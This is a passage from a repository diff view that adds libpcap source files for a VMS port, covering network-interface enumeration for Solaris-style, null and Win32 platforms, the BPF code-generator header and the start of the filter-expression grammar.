if (ioctl(fd4, SIOCGLIFNUM, (char *)&ifn) < 0) {
(void)snprintf(errbuf, PCAP_ERRBUF_SIZE,
"SIOCGLIFNUM: %s", pcap_strerror(errno));
(void)close(fd6);
(void)close(fd4);
return (-1);
}
/*
* Allocate a buffer for those entries.
*/
buf_size = ifn.lifn_count * sizeof (struct lifreq);
buf = malloc(buf_size);
if (buf == NULL) {
(void)snprintf(errbuf, PCAP_ERRBUF_SIZE,
"malloc: %s", pcap_strerror(errno));
(void)close(fd6);
(void)close(fd4);
return (-1);
}
/*
* Get the entries.
*/
ifc.lifc_len = buf_size;
ifc.lifc_buf = buf;
ifc.lifc_family = AF_UNSPEC;
ifc.lifc_flags = 0;
memset(buf, 0, buf_size);
if (ioctl(fd4, SIOCGLIFCONF, (char *)&ifc) < 0) {
(void)snprintf(errbuf, PCAP_ERRBUF_SIZE,
"SIOCGLIFCONF: %s", pcap_strerror(errno));
(void)close(fd6);
(void)close(fd4);
free(buf);
return (-1);
}
/*
* Loop over the entries.
*/
ifrp = (struct lifreq *)buf;
ifend = (struct lifreq *)(buf + ifc.lifc_len);
for (; ifrp < ifend; ifrp++) {
/*
* IPv6 or not?
*/
if (((struct sockaddr *)&ifrp->lifr_addr)->sa_family == AF_INET6)
fd = fd6;
else
fd = fd4;
/*
* Get the flags for this interface, and skip it if it's
* not up.
*/
strncpy(ifrflags.lifr_name, ifrp->lifr_name,
sizeof(ifrflags.lifr_name));
if (ioctl(fd, SIOCGLIFFLAGS, (char *)&ifrflags) < 0) {
if (errno == ENXIO)
continue;
(void)snprintf(errbuf, PCAP_ERRBUF_SIZE,
"SIOCGLIFFLAGS: %.*s: %s",
(int)sizeof(ifrflags.lifr_name),
ifrflags.lifr_name,
pcap_strerror(errno));
ret = -1;
break;
}
if (!(ifrflags.lifr_flags & IFF_UP))
continue;
/*
* Get the netmask for this address on this interface.
*/
strncpy(ifrnetmask.lifr_name, ifrp->lifr_name,
sizeof(ifrnetmask.lifr_name));
memcpy(&ifrnetmask.lifr_addr, &ifrp->lifr_addr,
sizeof(ifrnetmask.lifr_addr));
if (ioctl(fd, SIOCGLIFNETMASK, (char *)&ifrnetmask) < 0) {
if (errno == EADDRNOTAVAIL) {
/*
* Not available.
*/
netmask = NULL;
} else {
(void)snprintf(errbuf, PCAP_ERRBUF_SIZE,
"SIOCGLIFNETMASK: %.*s: %s",
(int)sizeof(ifrnetmask.lifr_name),
ifrnetmask.lifr_name,
pcap_strerror(errno));
ret = -1;
break;
}
} else
netmask = (struct sockaddr *)&ifrnetmask.lifr_addr;
/*
* Get the broadcast address for this address on this
* interface (if any).
*/
if (ifrflags.lifr_flags & IFF_BROADCAST) {
strncpy(ifrbroadaddr.lifr_name, ifrp->lifr_name,
sizeof(ifrbroadaddr.lifr_name));
memcpy(&ifrbroadaddr.lifr_addr, &ifrp->lifr_addr,
sizeof(ifrbroadaddr.lifr_addr));
if (ioctl(fd, SIOCGLIFBRDADDR,
(char *)&ifrbroadaddr) < 0) {
if (errno == EADDRNOTAVAIL) {
/*
* Not available.
*/
broadaddr = NULL;
} else {
(void)snprintf(errbuf, PCAP_ERRBUF_SIZE,
"SIOCGLIFBRDADDR: %.*s: %s",
(int)sizeof(ifrbroadaddr.lifr_name),
ifrbroadaddr.lifr_name,
pcap_strerror(errno));
ret = -1;
break;
}
} else
broadaddr = (struct sockaddr *)&ifrbroadaddr.lifr_broadaddr;
} else {
/*
* Not a broadcast interface, so no broadcast
* address.
*/
broadaddr = NULL;
}
/*
* Get the destination address for this address on this
* interface (if any).
*/
if (ifrflags.lifr_flags & IFF_POINTOPOINT) {
strncpy(ifrdstaddr.lifr_name, ifrp->lifr_name,
sizeof(ifrdstaddr.lifr_name));
memcpy(&ifrdstaddr.lifr_addr, &ifrp->lifr_addr,
sizeof(ifrdstaddr.lifr_addr));
if (ioctl(fd, SIOCGLIFDSTADDR,
(char *)&ifrdstaddr) < 0) {
if (errno == EADDRNOTAVAIL) {
/*
* Not available.
*/
dstaddr = NULL;
} else {
(void)snprintf(errbuf, PCAP_ERRBUF_SIZE,
"SIOCGLIFDSTADDR: %.*s: %s",
(int)sizeof(ifrdstaddr.lifr_name),
ifrdstaddr.lifr_name,
pcap_strerror(errno));
ret = -1;
break;
}
} else
dstaddr = (struct sockaddr *)&ifrdstaddr.lifr_dstaddr;
} else
dstaddr = NULL;
/*
* Add information for this address to the list.
*/
if (add_addr_to_iflist(&devlist, ifrp->lifr_name,
ifrflags.lifr_flags, (struct sockaddr *)&ifrp->lifr_addr,
sizeof (struct sockaddr_storage),
netmask, sizeof (struct sockaddr_storage),
broadaddr, sizeof (struct sockaddr_storage),
dstaddr, sizeof (struct sockaddr_storage), errbuf) < 0) {
ret = -1;
break;
}
}
free(buf);
(void)close(fd6);
(void)close(fd4);
if (ret != -1) {
/*
* We haven't had any errors yet; do any platform-specific
* operations to add devices.
*/
if (pcap_platform_finddevs(&devlist, errbuf) < 0)
ret = -1;
}
if (ret == -1) {
/*
* We had an error; free the list we've been constructing.
*/
if (devlist != NULL) {
pcap_freealldevs(devlist);
devlist = NULL;
}
}
*alldevsp = devlist;
return (ret);
}

View File

@@ -0,0 +1,65 @@
/* -*- Mode: c; tab-width: 8; indent-tabs-mode: 1; c-basic-offset: 8; -*- */
/*
* Copyright (c) 1994, 1995, 1996, 1997, 1998
* The Regents of the University of California. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. All advertising materials mentioning features or use of this software
* must display the following acknowledgement:
* This product includes software developed by the Computer Systems
* Engineering Group at Lawrence Berkeley Laboratory.
* 4. Neither the name of the University nor of the Laboratory may be used
* to endorse or promote products derived from this software without
* specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/
#ifndef lint
static const char rcsid[] =
"@(#) $Header: /tcpdump/master/libpcap/fad-null.c,v 1.1 2002/07/27 18:46:21 guy Exp $ (LBL)";
#endif
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
#include <pcap.h>
/*
* Get a list of all interfaces that are up and that we can open.
* Returns -1 on error, 0 otherwise.
* The list, as returned through "alldevsp", may be null if no interfaces
* were up and could be opened.
*
* This is the implementation used on platforms that have no support for
* packet capture.
*/
int
pcap_findalldevs(pcap_if_t **alldevsp, char *errbuf)
{
/*
* Succeed, but don't return any interfaces; we return only those
* we can open, and we can't open any if there's no support
* for packet capture.
*/
*alldevsp = NULL;
return (0);
}

View File

@@ -0,0 +1,371 @@
/*
* Copyright (c) 1999, 2002
* Politecnico di Torino. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that: (1) source code distributions
* retain the above copyright notice and this paragraph in its entirety, (2)
* distributions including binary code include the above copyright notice and
* this paragraph in its entirety in the documentation or other materials
* provided with the distribution, and (3) all advertising materials mentioning
* features or use of this software display the following acknowledgement:
* ``This product includes software developed by the Politecnico
* di Torino, and its contributors.'' Neither the name of
* the University nor the names of its contributors may be used to endorse
* or promote products derived from this software without specific prior
* written permission.
* THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
* WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
*/
#ifndef lint
static const char rcsid[] =
"@(#) $Header: /tcpdump/master/libpcap/fad-win32.c,v 1.4 2002/08/08 09:15:57 guy Exp $ (LBL)";
#endif
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
#include <pcap.h>
#include <packet32.h>
#include <errno.h>
#ifndef SA_LEN
#ifdef HAVE_SOCKADDR_SA_LEN
#define SA_LEN(addr) ((addr)->sa_len)
#else /* HAVE_SOCKADDR_SA_LEN */
#define SA_LEN(addr) (sizeof (struct sockaddr))
#endif /* HAVE_SOCKADDR_SA_LEN */
#endif /* SA_LEN */
/*
* Add an entry to the list of addresses for an interface.
* "curdev" is the entry for that interface.
*/
static int
add_addr_to_list(pcap_if_t *curdev, struct sockaddr *addr,
struct sockaddr *netmask, struct sockaddr *broadaddr,
struct sockaddr *dstaddr, char *errbuf)
{
pcap_addr_t *curaddr, *prevaddr, *nextaddr;
/*
* Allocate the new entry and fill it in.
*/
curaddr = (pcap_addr_t*)malloc(sizeof(pcap_addr_t));
if (curaddr == NULL) {
(void)snprintf(errbuf, PCAP_ERRBUF_SIZE,
"malloc: %s", pcap_strerror(errno));
return (-1);
}
curaddr->next = NULL;
if (addr != NULL) {
curaddr->addr = (struct sockaddr*)dup_sockaddr(addr, SA_LEN(addr));
if (curaddr->addr == NULL) {
(void)snprintf(errbuf, PCAP_ERRBUF_SIZE,
"malloc: %s", pcap_strerror(errno));
free(curaddr);
return (-1);
}
} else
curaddr->addr = NULL;
if (netmask != NULL) {
curaddr->netmask = (struct sockaddr*)dup_sockaddr(netmask, SA_LEN(netmask));
if (curaddr->netmask == NULL) {
(void)snprintf(errbuf, PCAP_ERRBUF_SIZE,
"malloc: %s", pcap_strerror(errno));
free(curaddr);
return (-1);
}
} else
curaddr->netmask = NULL;
if (broadaddr != NULL) {
curaddr->broadaddr = (struct sockaddr*)dup_sockaddr(broadaddr, SA_LEN(broadaddr));
if (curaddr->broadaddr == NULL) {
(void)snprintf(errbuf, PCAP_ERRBUF_SIZE,
"malloc: %s", pcap_strerror(errno));
free(curaddr);
return (-1);
}
} else
curaddr->broadaddr = NULL;
if (dstaddr != NULL) {
curaddr->dstaddr = (struct sockaddr*)dup_sockaddr(dstaddr, SA_LEN(dstaddr));
if (curaddr->dstaddr == NULL) {
(void)snprintf(errbuf, PCAP_ERRBUF_SIZE,
"malloc: %s", pcap_strerror(errno));
free(curaddr);
return (-1);
}
} else
curaddr->dstaddr = NULL;
/*
* Find the end of the list of addresses.
*/
for (prevaddr = curdev->addresses; prevaddr != NULL; prevaddr = nextaddr) {
nextaddr = prevaddr->next;
if (nextaddr == NULL) {
/*
* This is the end of the list.
*/
break;
}
}
if (prevaddr == NULL) {
/*
* The list was empty; this is the first member.
*/
curdev->addresses = curaddr;
} else {
/*
* "prevaddr" is the last member of the list; append
* this member to it.
*/
prevaddr->next = curaddr;
}
return (0);
}
static int
pcap_add_if_win32(pcap_if_t **devlist, char *name, const char *desc,
char *errbuf)
{
pcap_if_t *curdev;
npf_if_addr if_addrs[16];
LONG if_addr_size;
int res = 0;
struct sockaddr_in *addr, *netmask;
if_addr_size = 16;
/*
* Add an entry for this interface, with no addresses.
*/
if (add_or_find_if(&curdev, devlist, (char *)name, 0, (char *)desc,
errbuf) == -1) {
/*
* Failure.
*/
return (-1);
}
/*
* Get the list of addresses for the interface.
*
* XXX - what about IPv6?
*/
if (!PacketGetNetInfoEx((void *)name, if_addrs, &if_addr_size)) {
/*
* Failure.
*
* We don't return an error, because this can happen with
* NdisWan interfaces, and we want to supply them even
* if we can't supply their addresses.
*
* We return an entry with an empty address list.
*/
return (0);
}
/*
* Now add the addresses.
*/
while (if_addr_size-- > 0) {
/*
* "curdev" is an entry for this interface; add an entry for
* this address to its list of addresses.
*/
if(curdev == NULL)
break;
res = add_addr_to_list(curdev,
(struct sockaddr *)&if_addrs[if_addr_size].IPAddress,
(struct sockaddr *)&if_addrs[if_addr_size].SubnetMask,
(struct sockaddr *)&if_addrs[if_addr_size].Broadcast,
NULL,
errbuf);
if (res == -1) {
/*
* Failure.
*/
break;
}
}
return (res);
}
/*
* Get a list of all interfaces that are up and that we can open.
* Returns -1 on error, 0 otherwise.
* The list, as returned through "alldevsp", may be null if no interfaces
* were up and could be opened.
*
* Win32 implementation, based on WinPcap
*/
int
pcap_findalldevs(pcap_if_t **alldevsp, char *errbuf)
{
pcap_if_t *devlist = NULL;
DWORD dwVersion;
DWORD dwWindowsMajorVersion;
int ret = 0;
const char *desc;
dwVersion = GetVersion(); /* get the OS version */
dwWindowsMajorVersion = (DWORD)(LOBYTE(LOWORD(dwVersion)));
if (dwVersion >= 0x80000000 && dwWindowsMajorVersion >= 4) {
/*
* Windows 95, 98, ME.
*/
char AdaptersName[8192];
ULONG NameLength = 8192;
char *name;
if (!PacketGetAdapterNames(AdaptersName, &NameLength)) {
snprintf(errbuf, PCAP_ERRBUF_SIZE,
"PacketGetAdapterNames: %s",
pcap_win32strerror());
return (-1);
}
/*
* "PacketGetAdapterNames()" returned a list of
* null-terminated ASCII interface name strings,
* terminated by a null string, followed by a list
* of null-terminated ASCII interface description
* strings, terminated by a null string.
* This means there are two ASCII nulls at the end
* of the first list.
*
* Find the end of the first list; that's the
* beginning of the second list.
*/
desc = &AdaptersName[0];
while (*desc != '\0' || *(desc + 1) != '\0')
desc++;
/*
* Found it - "desc" points to the first of the two
* nulls at the end of the list of names, so the
* first byte of the list of descriptions is two bytes
* after it.
*/
desc += 2;
/*
* Loop over the elements in the first list.
*/
name = &AdaptersName[0];
while (*name != '\0') {
/*
* Add an entry for this interface.
*/
if (pcap_add_if_win32(&devlist, name, desc,
errbuf) == -1) {
/*
* Failure.
*/
ret = -1;
break;
}
name += strlen(name) + 1;
desc += strlen(desc) + 1;
}
} else {
/*
* Windows NT (NT 4.0, W2K, WXP).
*/
WCHAR AdaptersName[8192];
ULONG NameLength = 8192;
const WCHAR *t;
WCHAR *uc_name;
char ascii_name[8192];
char ascii_desc[8192];
char *p;
if (!PacketGetAdapterNames((PTSTR)AdaptersName, &NameLength)) {
snprintf(errbuf, PCAP_ERRBUF_SIZE,
"PacketGetAdapterNames: %s",
pcap_win32strerror());
return (-1);
}
/*
* "PacketGetAdapterNames()" returned a list of
* null-terminated Unicode interface name strings,
* terminated by a null string, followed by a list
* of null-terminated ASCII interface description
* strings, terminated by a null string.
* This means there are two Unicode nulls at the end
* of the first list.
*
* Find the end of the first list; that's the
* beginning of the second list.
*/
t = &AdaptersName[0];
while (*t != '\0' || *(t + 1) != '\0')
t++;
/*
* Found it - "t" points to the first of the two
* nulls at the end of the list of names, so the
* first byte of the list of descriptions is two wide
* characters after it.
*/
t += 2;
desc = (const char *)t;
/*
* Loop over the elements in the first list.
*
* We assume all characters in the name string are valid
* ASCII characters.
*/
uc_name = &AdaptersName[0];
while (*uc_name != '\0') {
p = ascii_name;
while ((*p++ = (char)*uc_name++) != '\0')
;
p = ascii_desc;
while ((*p++ = *desc++) != '\0')
;
/*
* Add an entry for this interface.
*/
if (pcap_add_if_win32(&devlist, ascii_name,
ascii_desc, errbuf) == -1) {
/*
* Failure.
*/
ret = -1;
break;
}
}
}
if (ret == -1) {
/*
* We had an error; free the list we've been constructing.
*/
if (devlist != NULL) {
pcap_freealldevs(devlist);
devlist = NULL;
}
}
*alldevsp = devlist;
return (ret);
}

5135
Pcap-VMS/pcap-vci/gencode.c Normal file

File diff suppressed because it is too large Load Diff

289
Pcap-VMS/pcap-vci/gencode.h Normal file
View File

@@ -0,0 +1,289 @@
/*
* Copyright (c) 1990, 1991, 1992, 1993, 1994, 1995, 1996
* The Regents of the University of California. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that: (1) source code distributions
* retain the above copyright notice and this paragraph in its entirety, (2)
* distributions including binary code include the above copyright notice and
* this paragraph in its entirety in the documentation or other materials
* provided with the distribution, and (3) all advertising materials mentioning
* features or use of this software display the following acknowledgement:
* ``This product includes software developed by the University of California,
* Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
* the University nor the names of its contributors may be used to endorse
* or promote products derived from this software without specific prior
* written permission.
* THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
* WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
*
* @(#) $Header: /tcpdump/master/libpcap/gencode.h,v 1.55 2002/07/11 09:06:34 guy Exp $ (LBL)
*/
/*
* ATM support:
*
* Copyright (c) 1997 Yen Yen Lim and North Dakota State University
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. All advertising materials mentioning features or use of this software
* must display the following acknowledgement:
* This product includes software developed by Yen Yen Lim and
* North Dakota State University
* 4. The name of the author may not be used to endorse or promote products
* derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,
* INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
* STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
* ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
/* Address qualifiers. */
#define Q_HOST 1
#define Q_NET 2
#define Q_PORT 3
#define Q_GATEWAY 4
#define Q_PROTO 5
#define Q_PROTOCHAIN 6
/* Protocol qualifiers. */
#define Q_LINK 1
#define Q_IP 2
#define Q_ARP 3
#define Q_RARP 4
#define Q_SCTP 5
#define Q_TCP 6
#define Q_UDP 7
#define Q_ICMP 8
#define Q_IGMP 9
#define Q_IGRP 10
#define Q_ATALK 11
#define Q_DECNET 12
#define Q_LAT 13
#define Q_SCA 14
#define Q_MOPRC 15
#define Q_MOPDL 16
#define Q_IPV6 17
#define Q_ICMPV6 18
#define Q_AH 19
#define Q_ESP 20
#define Q_PIM 21
#define Q_VRRP 22
#define Q_AARP 23
#define Q_ISO 24
#define Q_ESIS 25
#define Q_ISIS 26
#define Q_CLNP 27
#define Q_STP 28
#define Q_IPX 29
#define Q_NETBEUI 30
/* Directional qualifiers. */
#define Q_SRC 1
#define Q_DST 2
#define Q_OR 3
#define Q_AND 4
#define Q_DEFAULT 0
#define Q_UNDEF 255
/* ATM types */
#define A_METAC 22 /* Meta signalling Circuit */
#define A_BCC 23 /* Broadcast Circuit */
#define A_OAMF4SC 24 /* Segment OAM F4 Circuit */
#define A_OAMF4EC 25 /* End-to-End OAM F4 Circuit */
#define A_SC 26 /* Signalling Circuit*/
#define A_ILMIC 27 /* ILMI Circuit */
#define A_OAM 28 /* OAM cells : F4 only */
#define A_OAMF4 29 /* OAM F4 cells: Segment + End-to-end */
#define A_LANE 30 /* LANE traffic */
#define A_LLC 31 /* LLC-encapsulated traffic */
/* Based on Q.2931 signalling protocol */
#define A_SETUP 41 /* Setup message */
#define A_CALLPROCEED 42 /* Call proceeding message */
#define A_CONNECT 43 /* Connect message */
#define A_CONNECTACK 44 /* Connect Ack message */
#define A_RELEASE 45 /* Release message */
#define A_RELEASE_DONE 46 /* Release message */
/* ATM field types */
#define A_VPI 51
#define A_VCI 52
#define A_PROTOTYPE 53
#define A_MSGTYPE 54
#define A_CALLREFTYPE 55
#define A_CONNECTMSG 70 /* returns Q.2931 signalling messages for
establishing and destroying switched
virtual connection */
#define A_METACONNECT 71 /* returns Q.2931 signalling messages for
establishing and destroying predefined
virtual circuits, such as broadcast
circuit, oamf4 segment circuit, oamf4
end-to-end circuits, ILMI circuits or
connection signalling circuit. */
struct slist;
struct stmt {
int code;
struct slist *jt; /*only for relative jump in block*/
struct slist *jf; /*only for relative jump in block*/
bpf_int32 k;
};
struct slist {
struct stmt s;
struct slist *next;
};
/*
* A bit vector to represent definition sets. We assume TOT_REGISTERS
* is smaller than 8*sizeof(atomset).
*/
typedef bpf_u_int32 atomset;
#define ATOMMASK(n) (1 << (n))
#define ATOMELEM(d, n) (d & ATOMMASK(n))
/*
* An unbounded set.
*/
typedef bpf_u_int32 *uset;
/*
* Total number of atomic entities, including accumulator (A) and index (X).
* We treat all these guys similarly during flow analysis.
*/
#define N_ATOMS (BPF_MEMWORDS+2)
struct edge {
int id;
int code;
uset edom;
struct block *succ;
struct block *pred;
struct edge *next; /* link list of incoming edges for a node */
};
struct block {
int id;
struct slist *stmts; /* side effect stmts */
struct stmt s; /* branch stmt */
int mark;
int longjt; /* jt branch requires long jump */
int longjf; /* jf branch requires long jump */
int level;
int offset;
int sense;
struct edge et;
struct edge ef;
struct block *head;
struct block *link; /* link field used by optimizer */
uset dom;
uset closure;
struct edge *in_edges;
atomset def, kill;
atomset in_use;
atomset out_use;
int oval;
int val[N_ATOMS];
};
struct arth {
struct block *b; /* protocol checks */
struct slist *s; /* stmt list */
int regno; /* virtual register number of result */
};
struct qual {
unsigned char addr;
unsigned char proto;
unsigned char dir;
unsigned char pad;
};
struct arth *gen_loadi(int);
struct arth *gen_load(int, struct arth *, int);
struct arth *gen_loadlen(void);
struct arth *gen_neg(struct arth *);
struct arth *gen_arth(int, struct arth *, struct arth *);
void gen_and(struct block *, struct block *);
void gen_or(struct block *, struct block *);
void gen_not(struct block *);
struct block *gen_scode(const char *, struct qual);
struct block *gen_ecode(const u_char *, struct qual);
struct block *gen_acode(const u_char *, struct qual);
struct block *gen_mcode(const char *, const char *, int, struct qual);
#ifdef INET6
struct block *gen_mcode6(const char *, const char *, int, struct qual);
#endif
struct block *gen_ncode(const char *, bpf_u_int32, struct qual);
struct block *gen_proto_abbrev(int);
struct block *gen_relation(int, struct arth *, struct arth *, int);
struct block *gen_less(int);
struct block *gen_greater(int);
struct block *gen_byteop(int, int, int);
struct block *gen_broadcast(int);
struct block *gen_multicast(int);
struct block *gen_inbound(int);
struct block *gen_vlan(int);
struct block *gen_atmfield_code(int atmfield, bpf_u_int32 jvalue, bpf_u_int32 jtype, int reverse);
struct block *gen_atmtype_abbrev(int type);
struct block *gen_atmmulti_abbrev(int type);
void bpf_optimize(struct block **);
void bpf_error(const char *, ...)
#if HAVE___ATTRIBUTE__
__attribute__((noreturn, format (printf, 1, 2)))
#endif
;
void finish_parse(struct block *);
char *sdup(const char *);
struct bpf_insn *icode_to_fcode(struct block *, int *);
int pcap_parse(void);
void lex_init(char *);
void lex_cleanup(void);
void sappend(struct slist *, struct slist *);
/* XXX */
#define JT(b) ((b)->et.succ)
#define JF(b) ((b)->ef.succ)
extern int no_optimize;

2114
Pcap-VMS/pcap-vci/grammar.c Normal file

File diff suppressed because it is too large Load Diff

385
Pcap-VMS/pcap-vci/grammar.y Normal file
View File

@@ -0,0 +1,385 @@
%{
/*
* Copyright (c) 1988, 1989, 1990, 1991, 1992, 1993, 1994, 1995, 1996
* The Regents of the University of California. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that: (1) source code distributions
* retain the above copyright notice and this paragraph in its entirety, (2)
* distributions including binary code include the above copyright notice and
* this paragraph in its entirety in the documentation or other materials
* provided with the distribution, and (3) all advertising materials mentioning
* features or use of this software display the following acknowledgement:
* ``This product includes software developed by the University of California,
* Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
* the University nor the names of its contributors may be used to endorse
* or promote products derived from this software without specific prior
* written permission.
* THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
* WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
*
*/
#ifndef lint
static const char rcsid[] =
"@(#) $Header: /tcpdump/master/libpcap/grammar.y,v 1.77 2002/08/11 18:27:14 guy Exp $ (LBL)";
#endif
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
#ifdef WIN32
#include <pcap-stdinc.h>
#else /* WIN32 */
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#endif /* WIN32 */
#include <stdlib.h>
#ifndef WIN32
#if __STDC__
struct mbuf;
struct rtentry;
#endif
#include <netinet/in.h>
#endif /* WIN32 */
#include <stdio.h>
#include "pcap-int.h"
#include "gencode.h"
#include <pcap-namedb.h>
#ifdef HAVE_OS_PROTO_H
#include "os-proto.h"
#endif
#define QSET(q, p, d, a) (q).proto = (p),\
(q).dir = (d),\
(q).addr = (a)
int n_errors = 0;
static struct qual qerr = { Q_UNDEF, Q_UNDEF, Q_UNDEF, Q_UNDEF };
static void
yyerror(char *msg)
{
++n_errors;
bpf_error("%s", msg);
/* NOTREACHED */
}
#ifndef YYBISON
int yyparse(void);
int
pcap_parse()
{
return (yyparse());
}
#endif
%}
%union {
int i;
bpf_u_int32 h;
u_char *e;
char *s;
struct stmt *stmt;
struct arth *a;
struct {
struct qual q;
int atmfieldtype;
struct block *b;
} blk;
struct block *rblk;
}
%type <blk> expr id nid pid term rterm qid
%type <blk> head
%type <i> pqual dqual aqual ndaqual
%type <a> arth narth
%type <i> byteop pname pnum relop irelop
%type <blk> and or paren not null prog
%type <rblk> other
%type <i> atmtype atmmultitype
%type <blk> atmfield
%type <blk> atmfieldvalue atmvalue atmlistvalue
%token DST SRC HOST GATEWAY
%token NET MASK PORT LESS GREATER PROTO PROTOCHAIN CBYTE
%token ARP RARP IP SCTP TCP UDP ICMP IGMP IGRP PIM VRRP
%token ATALK AARP DECNET LAT SCA MOPRC MOPDL
%token TK_BROADCAST TK_MULTICAST
%token NUM INBOUND OUTBOUND
%token LINK
%token GEQ LEQ NEQ
%token ID EID HID HID6 AID
%token LSH RSH
%token LEN
%token IPV6 ICMPV6 AH ESP
%token VLAN
%token ISO ESIS ISIS CLNP
%token STP
%token IPX
%token NETBEUI
%token LANE LLC METAC BCC SC ILMIC OAMF4EC OAMF4SC
%token OAM OAMF4 CONNECTMSG METACONNECT
%token VPI VCI
%type <s> ID
%type <e> EID
%type <e> AID
%type <s> HID HID6
%type <i> NUM
%left OR AND
%nonassoc '!'
%left '|'
%left '&'
%left LSH RSH
%left '+' '-'
%left '*' '/'
%nonassoc UMINUS
%%
prog: null expr
{
finish_parse($2.b);
}
| null
;
null: /* null */ { $$.q = qerr; }
;
expr: term
| expr and term { gen_and($1.b, $3.b); $$ = $3; }
| expr and id { gen_and($1.b, $3.b); $$ = $3; }
| expr or term { gen_or($1.b, $3.b); $$ = $3; }
| expr or id { gen_or($1.b, $3.b); $$ = $3; }
;
and: AND { $$ = $<blk>0; }
;
or: OR { $$ = $<blk>0; }
;
id: nid
| pnum { $$.b = gen_ncode(NULL, (bpf_u_int32)$1,
$$.q = $<blk>0.q); }
| paren pid ')' { $$ = $2; }
;
nid: ID { $$.b = gen_scode($1, $$.q = $<blk>0.q); }
| HID '/' NUM { $$.b = gen_mcode($1, NULL, $3,
$$.q = $<blk>0.q); }
| HID MASK HID { $$.b = gen_mcode($1, $3, 0,
$$.q = $<blk>0.q); }
| HID {
/* Decide how to parse HID based on proto */
$$.q = $<blk>0.q;
$$.b = gen_ncode($1, 0, $$.q);
}
| HID6 '/' NUM {
#ifdef INET6
$$.b = gen_mcode6($1, NULL, $3,
$$.q = $<blk>0.q);
#else
bpf_error("'ip6addr/prefixlen' not supported "
"in this configuration");
#endif /*INET6*/
}
| HID6 {
#ifdef INET6
$$.b = gen_mcode6($1, 0, 128,
$$.q = $<blk>0.q);
#else
bpf_error("'ip6addr' not supported "
"in this configuration");
#endif /*INET6*/
}
| EID {
$$.b = gen_ecode($1, $$.q = $<blk>0.q);
/*
* $1 was allocated by "pcap_ether_aton()",
* so we must free it now that we're done
* with it.
*/
free($1);
}
| AID {
$$.b = gen_acode($1, $$.q = $<blk>0.q);
/*
* $1 was allocated by "pcap_ether_aton()",
* so we must free it now that we're done
* with it.
*/
free($1);
}
| not id { gen_not($2.b); $$ = $2; }
;
not: '!' { $$ = $<blk>0; }
;
paren: '(' { $$ = $<blk>0; }
;
pid: nid
| qid and id { gen_and($1.b, $3.b); $$ = $3; }
| qid or id { gen_or($1.b, $3.b); $$ = $3; }
;
qid: pnum { $$.b = gen_ncode(NULL, (bpf_u_int32)$1,
$$.q = $<blk>0.q); }
| pid
;
term: rterm
| not term { gen_not($2.b); $$ = $2; }
;
head: pqual dqual aqual { QSET($$.q, $1, $2, $3); }
